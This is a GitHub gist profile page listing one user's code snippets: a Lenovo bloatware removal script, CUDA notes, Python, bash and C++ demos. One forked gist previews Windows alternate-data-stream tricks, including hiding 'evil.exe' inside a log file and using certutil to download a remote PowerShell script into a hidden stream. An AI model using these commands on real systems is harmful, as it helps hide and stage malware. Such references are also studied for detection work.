Skip to content

Instantly share code, notes, and snippets.

View eabase's full-sized avatar

eabase

  • Between the radio ether and you.
View GitHub Profile
@eabase
eabase / grok3-1.md
Last active February 25, 2025 15:49
@eabase
eabase / badlenovo.ps1
Created January 24, 2025 01:51 — forked from jcary741/badlenovo.ps1
Removal script for Tobii and Nahimic software on Lenovo Legion 5 devices
# Version: 0.1 (2025-01-18)
# License: MIT, use at your own risk
#
# This script disables the Lenovo-installed "Tobii experience" software and "nahimic" software.
# Tested on a Lenovo Legion Pro 5 (82WM) with Windows 11 24H2.
# Run it with `powershell.exe -noprofile -executionPolicy Bypass -File badlenovo.ps1`
# Following this script, you should be able to uninstall the "Tobii experience" app from the control panel (appwiz.cpl)
#
# After major updates, you may need to re-run this script.
@eabase
eabase / CUDA_Compilers.md
Created May 30, 2024 14:19 — forked from ax3l/CUDA_Compilers.md
CUDA Compilers
@eabase
eabase / Exe_ADS_Methods.md
Created May 27, 2024 00:04 — forked from api0cradle/Exe_ADS_Methods.md
Execute from Alternate Streams

Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#----------------------------------------------------------------------
# lunar-lander-3.py - A demo of AI learning for landing physics on the moon, using pygame.
#----------------------------------------------------------
import os, sys
import random, tempfile
import time
import numpy as np
import winsound
@eabase
eabase / main.css
Created October 12, 2022 16:27
One button controls for multiple youtube videos in a 2x3 grid
/* main.css */
header, footer {
font: 14px Arial, sans-serif;
padding: 8px;
color: white;
background-color: black;
clear: left;
text-align: left;
}
@eabase
eabase / fancycompleter.py
Last active June 8, 2022 14:26
fancycompleter is Python REPL colorizer. This is the patched standalone version.
#!/usr/bin/env python -u
# -*- coding: UTF-8 -*-
#------------------------------------------------------------------------------
# Filename: fancycompleter.py
# Author: Antonio Cuni
# Mods: EABASE
# Last: 2022-01-30
# License: BSD (from: setup.py in original repo)
#
#------------------------------------------------------------------------------
@eabase
eabase / 24-bit-color.sh
Last active January 16, 2022 11:23
Bash 24-bit HSV Color & Gray Scale
#!/bin/bash
#----------------------------------------------------------------------
# Author: EABASE
# Date: 2022-01-16
# Version: 1.1
#----------------------------------------------------------------------
# History:
# The original file was taken from iterm2 [1], and later modified
# by EABASE in [2].
#
@eabase
eabase / get_pegs.py
Created December 20, 2021 02:10
Get additional PegRations using yfinance (package) and yahoo scraping api
#
# To resolve issue #903 in yfinance
# https://github.com/ranaroussi/yfinance/issues/903
#----------------------------------------------------------
# Date: 2021-12-19
#
# The PEG Ratio Yahoo Finance Paths:
#
# The working curl:
# curl -s https://finance.yahoo.com/quote/{FE}/key-statistics?p={FE} | grep "root.App.main = " | sed -e "s/root.App.main = //" |sed 's/.$//'> dafuck_ok.json
@eabase
eabase / HelloSDL2.cpp
Last active September 9, 2024 03:29
A minimal Hello World C++ example for using SDL2 to render text in a native Windows window.
//---------------------------------------------------------------------
// Name: HelloSDL2.cpp
// Author: EAML
// Date: 2021-05-16
//
// Description:
// A minimal PoC for producing a native SDL2 Windows app that can
// be ran from either Windows Explorer or from Powershell console.
// It's designed to use minimal command line, compiler options,
// and dependencies... It will display a gray window for 2 sec's.